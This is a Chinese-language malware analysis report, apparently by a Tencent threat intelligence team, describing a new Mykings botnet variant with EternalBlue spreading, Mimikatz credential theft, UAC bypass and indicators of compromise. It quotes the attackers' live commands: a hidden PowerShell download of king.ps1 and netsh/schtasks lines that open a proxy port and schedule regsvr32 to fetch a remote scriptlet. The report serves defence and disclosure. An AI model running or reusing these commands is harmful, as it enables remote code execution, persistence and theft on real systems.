0x1 概述 近日,腾讯御见威胁情报中心检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。 MyKings僵尸网络2017 年 2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括 DDoS、Proxy(代{过}{滤}理服务)、RAT(远程控制木马)、Miner(挖矿木马)在内的多种不同用途的恶意代码。腾讯御见威胁情报中心曾在今年五月发现Mykings利用Nsis脚本进行SMB爆破传播挖矿。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。 Mykings僵尸网络最新变种的技术特点: 1.攻击指令入侵成功,即通过Powershell下载king.ps1脚本; 2.king.ps1经过多次混淆加密,具有自我更新和横向移动扩散能力; 3.Mykings僵尸网络横向扩散利用了永恒之蓝漏洞和Mimikatz攻击神器; 4.Mykings僵尸网络多次使用加密混淆脚本,以掩盖攻击意图,逃避安全软件检测; 5.攻击者利用肉鸡电脑开启代{过}{滤}理服务,肉鸡电脑可能成为攻击其他系统的跳板; 6.攻击脚本中有绕过Windows UAC的行为,避免危险操作被操作系统的安全功能拦截; 7.御见威胁情报中心监控发现,本轮攻击开始于9月4日,放量测试后攻击者很快关闭C2服务器。 0x2 样本分析 本次更新通过powershell下载king.ps1进行,更新命令: powershell.exe -E -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = "= "http://js.f4321y.com/king.dat";#3";#3file = "C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1";#";#3down.DownloadFile(ile(#3url,#3file);exit; 下载后的king.ps1经过多次混淆加密,对其进行去混淆后脚本内容如下: 该脚本主要分为两个部分:自我更新和横向移动。 • 自我更新分析: 脚本首先会获取本地信息,并发送给服务器,服务器会返回一段脚本内容,返回脚本内容为更新下载新的king.ps1: • 横向移动分析: 该样本使用两种攻击方法进行横向感染:永恒之蓝,和利用NTLM hash 进行Smbclient。 永恒之蓝: 扫描内网开放445端口IP,并且该IP没有开放65353端口,随后会利用内置永恒之蓝利用代码eb7和eb8函数进行攻击。 • eb7:是针对windows 7/2008 R2 • eb8:是针对windows 8/8.1/2012 R2 漏洞攻击代码来自exploit-db.网站修改版。攻击成功后,会执行base64解密后的payload。 SMBClient: 首先调用GetUserInfo函数,该函数内容同样经过编码加密,对其解密后发现会调用内置已加密的exe。该Exe为修改版的Mimikatz。用户获取本地帐号和Ntml hash。 Mimikatz会将获取到的帐号和Ntlm存储在%temp%\tmp.log文件中: 将获取到的账号和NTLM Hash和内置的部分帐号和NTLM值(脚本中硬编码)组成字典,然后利用SMBClient进行上传脚本。 添加内置帐号和Ntlm hash: smbclient上传脚本: 将内置脚本代码base64解密后发现为加混淆的js脚本,该脚本依然使用了极其复杂的加密和混淆: 对其去混淆后: 该js脚本目的是在%appdata%\\Microsoft\\Microsoft.ps1下创建ps1文件,并且设置计划任务启动。Microsoft.ps1仍为加密混淆脚本,经过多次去混淆解密后得到如下脚本内容: 该脚本目的是继续上传受害者信息并执行服务器返回脚本。 • payload分析 payload部分依然被严重加密: 解密后,得到执行payload的命令如下: cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&cmd.exe /c netsh interface portproxy add v4tov4 listenport=65353 connectaddress=8.8.8.8 connectport=53 & cmd.exe /c netsh advfirewall firewall add rule name=DNS dir=in action=allow protocol=TCP localport=65353 & cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn DnsCore /tr "regsvr32 /u /s /i: http://pages.ooguy.com/dns.sct scrobj.dll" Payload会向防火墙添加65353端口,开启代{过}{滤}理,设置当IP访问65353端口时,本机就连接到8.8.8.8的53端口上,并且设置任务计划定时访问下载http://pages.ooguy.com/dns.sct。目前该下载链接失效。猜测这里跳转到8.8.8.8的53端口其真实意图尚不明确,可能用于调试目的,或可能变更为代{过}{滤}理服务、下载服务、或将肉鸡电脑作为攻击跳板,发起DDoS攻击等等。 • BypassUAC BypassUAC同样采取无文件落地攻击,其利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。 该代码可以在github上找到: 0x3 趋势&总结 本次Mykings僵尸网络更新,采用了极其复杂的加密和混淆技术,大大增加了免杀的能力。 其中一个脚本就加密多达4、5次。而且此次捕获的样本并无其他可执行二进制落地,其利用的部分二进制恶意工具均被加密硬编码在脚本中,执行时直接注入相关进程,提升了安全软件的检测难度。 从C&C域名监测来看,该波更新开始于9月4日,仅放量了一部分用户。目前已经关闭了该C&C服务器。因此我们判断,作者可能在进行一些测试,用于进行下一波更猛烈的攻击。 0x4 安全建议 • 关闭不必要的端口,方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html; • 建议局域网用户切勿使用弱口令和统一口令; • 推荐企业用户使用御点终端安全管理系统保护电脑安全(下载地址:https://s.tencent.com/product/yd/index.html) 附录(IOCs) MD5: 44d9022197f596eefa88faa951d0a4b2(king.ps1) Url: hxxp://cache.gacache.ga/cache.png?v=2&h= hxxp://jpcache.casacam.net/start.png?h= hxxp://pages.ooguy.com/dns.sct hxxp://js.f4321y.com/king.dat hxxp://cache.gacache.ga/king.dat?new hxxp://pages.ooguy.com/dns64.sct 参考链接: MyKings僵尸网络的新动向:利用NSIS脚本挖门罗币
|